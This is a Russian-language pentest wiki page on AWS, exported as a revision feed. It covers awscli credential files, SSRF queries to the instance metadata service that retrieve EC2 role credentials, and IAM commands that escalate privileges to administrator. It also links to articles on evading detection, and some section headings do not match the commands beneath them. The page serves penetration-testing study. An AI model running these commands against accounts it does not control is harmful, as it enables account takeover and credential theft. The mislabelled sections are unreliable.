&lt;br /&gt;
== Другое ==&lt;br /&gt;
&lt;br /&gt;
=== aws_consoler ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/NetSPI/aws_consoler&lt;br /&gt;
&lt;br /&gt;
== All-In-One ==&lt;br /&gt;
&lt;br /&gt;
=== pacu ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/RhinoSecurityLabs/pacu&lt;br /&gt;
&lt;br /&gt;
=== ScoutSuite ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/nccgroup/ScoutSuite&lt;br /&gt;
&lt;br /&gt;
=== cloudfox ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/BishopFox/cloudfox&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Статьи ==&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/hijack-iam-roles-and-avoid-detection/ Hijacking IAM Roles and Avoiding Detection]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/bypass-guardduty-pentest-alerts/ Bypass GuardDuty PenTest Alerts]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/ssm-agent-tomfoolery/ Intercept SSM Agent Communications]&lt;br /&gt;
&lt;br /&gt;
== Лаборатории ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6 Damn Vulnerable Cloud Application]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[http://flaws.cloud Flaws]&lt;br /&gt;
&lt;br /&gt;
[http://flaws2.cloud/ Flaws]&lt;br /&gt;
&lt;br /&gt;
[https://xakep.ru/2022/03/21/htb-stacked/ HackTheBox Stacked Writeup]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RhinoSecurityLabs/cloudgoat CloudGoat]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[https://www.wellarchitectedlabs.com/security/ AWS Well-Architected Labs]&lt;br /&gt;
&lt;br /&gt;
[https://labs.withsecure.com/publications/attack-detection-fundamentals-2021-aws-lab-1 Attack Detection Fundamentals 2021: AWS - Lab #1]&lt;br /&gt;
&lt;br /&gt;
[https://pentesting.cloud/ Free AWS Security Labs]&lt;br /&gt;
&lt;br /&gt;
== Краткие заметки ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/pentesting-web/buckets/aws-s3 hacktricks-s3]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/cloud-security/aws-security hacktricks-aws]&lt;br /&gt;
&lt;br /&gt;
[https://learntocloud.guide/#/phase5/README learntocloud(много ссылок)]&lt;br /&gt;
&lt;br /&gt;
== Книги ==&lt;br /&gt;
&lt;br /&gt;
[https://www.amazon.com/dp/1789136725/ Hands-On AWS Penetration Testing with Kali Linux]&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Aws&amp;diff=1216</id>
		<title>Aws</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Aws&amp;diff=1216"/>
				<updated>2022-10-12T21:02:24Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* Роли - повышение до админа */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.&lt;br /&gt;
&lt;br /&gt;
= Организационные моменты =&lt;br /&gt;
&lt;br /&gt;
При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/&lt;br /&gt;
&lt;br /&gt;
= Общие концепции =&lt;br /&gt;
&lt;br /&gt;
== Службы ==&lt;br /&gt;
&lt;br /&gt;
Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Это экосистема многих сервисов. И AWS стремится увеличить их количество.&lt;br /&gt;
&lt;br /&gt;
Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Регионы ==&lt;br /&gt;
&lt;br /&gt;
AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+Регионы AWS&lt;br /&gt;
|-&lt;br /&gt;
| '''Название региона'''&lt;br /&gt;
| '''Endpoint(HTTPS)'''&lt;br /&gt;
|-&lt;br /&gt;
|us-east-2&lt;br /&gt;
|rds.us-east-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-east-1&lt;br /&gt;
|rds.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-1&lt;br /&gt;
|rds.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-2&lt;br /&gt;
|rds.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|af-south-1&lt;br /&gt;
|rds.af-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.af-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-east-1&lt;br /&gt;
|rds.ap-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-3&lt;br /&gt;
|rds.ap-southeast-3.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|ap-south-1&lt;br /&gt;
|rds.ap-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-3&lt;br /&gt;
|rds.ap-northeast-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-2&lt;br /&gt;
|rds.ap-northeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-1&lt;br /&gt;
|rds.ap-southeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-2&lt;br /&gt;
|rds.ap-southeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-1&lt;br /&gt;
|rds.ap-northeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ca-central-1&lt;br /&gt;
|rds.ca-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|eu-central-1&lt;br /&gt;
|rds.eu-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-central-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-1&lt;br /&gt;
|rds.eu-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-2&lt;br /&gt;
|rds.eu-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-south-1&lt;br /&gt;
|rds.eu-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-3&lt;br /&gt;
|rds.eu-west-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-north-1&lt;br /&gt;
|rds.eu-north-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-north-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|me-south-1&lt;br /&gt;
|rds.me-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.me-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|sa-east-1&lt;br /&gt;
|rds.sa-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.sa-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-east-1&lt;br /&gt;
|rds.us-gov-east-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-west-1&lt;br /&gt;
|rds.us-gov-west-1.amazonaws.com&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Или только регионы (могут пригодиться при переборе):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
us-east-2&lt;br /&gt;
us-east-1&lt;br /&gt;
us-west-1&lt;br /&gt;
us-west-2&lt;br /&gt;
af-south-1&lt;br /&gt;
ap-east-1&lt;br /&gt;
ap-southeast-3&lt;br /&gt;
ap-south-1&lt;br /&gt;
ap-northeast-3&lt;br /&gt;
ap-northeast-2&lt;br /&gt;
ap-southeast-1&lt;br /&gt;
ap-southeast-2&lt;br /&gt;
ap-northeast-1&lt;br /&gt;
ca-central-1&lt;br /&gt;
eu-central-1&lt;br /&gt;
eu-west-1&lt;br /&gt;
eu-west-2&lt;br /&gt;
eu-south-1&lt;br /&gt;
eu-west-3&lt;br /&gt;
eu-north-1&lt;br /&gt;
me-south-1&lt;br /&gt;
sa-east-1&lt;br /&gt;
us-gov-east-1&lt;br /&gt;
us-gov-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Доступы ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Консольная утилита(awscli) ==&lt;br /&gt;
&lt;br /&gt;
Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.&lt;br /&gt;
&lt;br /&gt;
Утилита работает с настроенными профилями.&lt;br /&gt;
&lt;br /&gt;
=== Файлы ===&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/credentials ====&lt;br /&gt;
&lt;br /&gt;
Файл с учетными данными профилей.  Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.&lt;br /&gt;
&lt;br /&gt;
У каждого профиля будет указан:&lt;br /&gt;
&lt;br /&gt;
* Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с &amp;quot;AKIA...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Access Key - 40 случайных символов различного регистра.&lt;br /&gt;
&lt;br /&gt;
* Access Token - не всегда указывается&lt;br /&gt;
&lt;br /&gt;
Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings&lt;br /&gt;
&lt;br /&gt;
Пример содержимого файла (сохранен профиль default):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
aws_access_key_id=AKIAIOSFODNN7EXAMPLE&lt;br /&gt;
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&lt;br /&gt;
aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/config ====&lt;br /&gt;
&lt;br /&gt;
Файл с региональными настройками профиля(регион по-умолчанию). &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
region=us-west-2&lt;br /&gt;
output=json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/cli/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные учетные данные&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/sso/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные данные Single-Sign-On&lt;br /&gt;
&lt;br /&gt;
=== Команды ===&lt;br /&gt;
&lt;br /&gt;
Общее построение команды выглядит как:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws &amp;lt;название_сервиса&amp;gt; &amp;lt;действие&amp;gt; &amp;lt;дополнительные_аргументы&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Примеры:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Вывести все S3-хранилища.&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&lt;br /&gt;
# Создание нового пользователя - сервис IAM&lt;br /&gt;
aws iam create-user --user-name aws-admin2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMDS (Instance Metadata Service) ==&lt;br /&gt;
&lt;br /&gt;
Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.&lt;br /&gt;
&lt;br /&gt;
Есть 2 версии:&lt;br /&gt;
&lt;br /&gt;
*IMDSv1 - версия 1 по-умолчанию, не требует токен. &lt;br /&gt;
&lt;br /&gt;
*IMDSv2 - версия 2, для запросов требуется токен.&lt;br /&gt;
&lt;br /&gt;
Запрос без токена:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
curl http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Запрос с токеном:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
TOKEN=`curl -X PUT &amp;quot;http://169.254.169.254/latest/api/token&amp;quot; -H &amp;quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&amp;quot;` &amp;amp;&amp;amp; curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; -v http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# В начале делаем запрос на директорию /security-credentials/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;br /&gt;
# Потом выбираем нужный аккаунт и делаем запрос на него&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример ответа:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{ &lt;br /&gt;
    &amp;quot;Code&amp;quot; : &amp;quot;Success&amp;quot;, &lt;br /&gt;
    &amp;quot;LastUpdated&amp;quot; : &amp;quot;2019-12-03T07:15:34Z&amp;quot;, &lt;br /&gt;
    &amp;quot;Type&amp;quot; : &amp;quot;AWS-HMAC&amp;quot;, &lt;br /&gt;
    &amp;quot;AccessKeyId&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;SecretAccessKey&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Token&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Expiration&amp;quot; : &amp;quot;2019-12-03T13:50:22Z&amp;quot;&lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После чего эти учетные данные можно использовать с awscli.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Другие полезные Endpoint'ы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://169.254.169.254/&lt;br /&gt;
http://169.254.169.254/latest/user-data&lt;br /&gt;
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance&lt;br /&gt;
http://169.254.169.254/latest/meta-data/ami-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/reservation-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/hostname&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access&lt;br /&gt;
http://169.254.169.254/latest/dynamic/instance-identity/document&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Ролевая модель =&lt;br /&gt;
&lt;br /&gt;
Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:&lt;br /&gt;
&lt;br /&gt;
* trust policy - определяет, чья будет роль&lt;br /&gt;
&lt;br /&gt;
* permissions policy - определяет какой доступ будет у тех, у кого эта роль.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Каждая политика состоит из следующих компонентов:&lt;br /&gt;
&lt;br /&gt;
* Ресурс - цель, кому выдается правило. Может быть:&lt;br /&gt;
** Пользователь&lt;br /&gt;
** Группа, в которой могут быть аккаунты по какому то признаку&lt;br /&gt;
** Другая политика.&lt;br /&gt;
&lt;br /&gt;
* Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)&lt;br /&gt;
&lt;br /&gt;
* Тип правила(Effect) - разрешение или запрет.&lt;br /&gt;
&lt;br /&gt;
* Политика(Policy) - совокупность Роль(действие) -&amp;gt; разрешение/запрет -&amp;gt; Ресурс(кому).&lt;br /&gt;
&lt;br /&gt;
* Условия(Condition) - отдельные условия, например, ip.&lt;br /&gt;
&lt;br /&gt;
Пример политики:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;Version&amp;quot;: &amp;quot;2012-10-17&amp;quot;,  //Версия политики&lt;br /&gt;
    &amp;quot;Statement&amp;quot;: [  &lt;br /&gt;
        {&lt;br /&gt;
            &amp;quot;Sid&amp;quot;: &amp;quot;Stmt32894y234276923&amp;quot; //Опционально - уникальный идентификатор&lt;br /&gt;
            &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;, //Разрешить или запретить&lt;br /&gt;
            &amp;quot;Action&amp;quot;: [  //Разрешенные/Запрещенные действия&lt;br /&gt;
                &amp;quot;ec2:AttachVolume&amp;quot;,&lt;br /&gt;
                &amp;quot;ec2:DetachVolume&amp;quot;&lt;br /&gt;
            ], &lt;br /&gt;
            &amp;quot;Resource&amp;quot;: [ //На какие ресурсы можно/нельзя совершать действия&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:volume/*&amp;quot;,&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:instance/*&amp;quot;&lt;br /&gt;
            ],&lt;br /&gt;
            &amp;quot;Condition&amp;quot;: { //Опционально - условия срабатывания&lt;br /&gt;
                &amp;quot;ArnEquals&amp;quot;: {&amp;quot;ec2:SourceInstanceARN&amp;quot;: &amp;quot;arn:aws:ec2:*:*:instance/instance-id&amp;quot;}&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Определение ролей ==&lt;br /&gt;
&lt;br /&gt;
=== Вручную ===&lt;br /&gt;
TODO команды по определению своих ролей&lt;br /&gt;
&lt;br /&gt;
=== Автоматизированно ===&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Тут будут отдельные роли, которые не прикреплены ни к одному сервису.&lt;br /&gt;
&lt;br /&gt;
=== Административный доступ ===&lt;br /&gt;
&lt;br /&gt;
Как выглядит роль с административным доступом:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
&amp;quot;Statement&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,&lt;br /&gt;
      &amp;quot;Action&amp;quot;: [&lt;br /&gt;
        &amp;quot;*&amp;quot;&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;Resource&amp;quot;: &amp;quot;*&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Службы =&lt;br /&gt;
&lt;br /&gt;
== IAM ==&lt;br /&gt;
&lt;br /&gt;
Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Сбросить пароль у других пользователей:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:RunInstance ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + glue:CreateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
См. Glue&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить юзера в административную группу:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name &amp;lt;название_группы&amp;gt; --user-name &amp;lt;логин&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PutUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Право добавить своб политику к ранее скомпрометированным обьектам. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam put-user-policy --user-name &amp;lt;логин&amp;gt; --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Привилегия для создания профиля(с паролем)  для аккаунта, выставить новый пароль и перейти под этого пользователя.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любому пользователю.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой группе.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
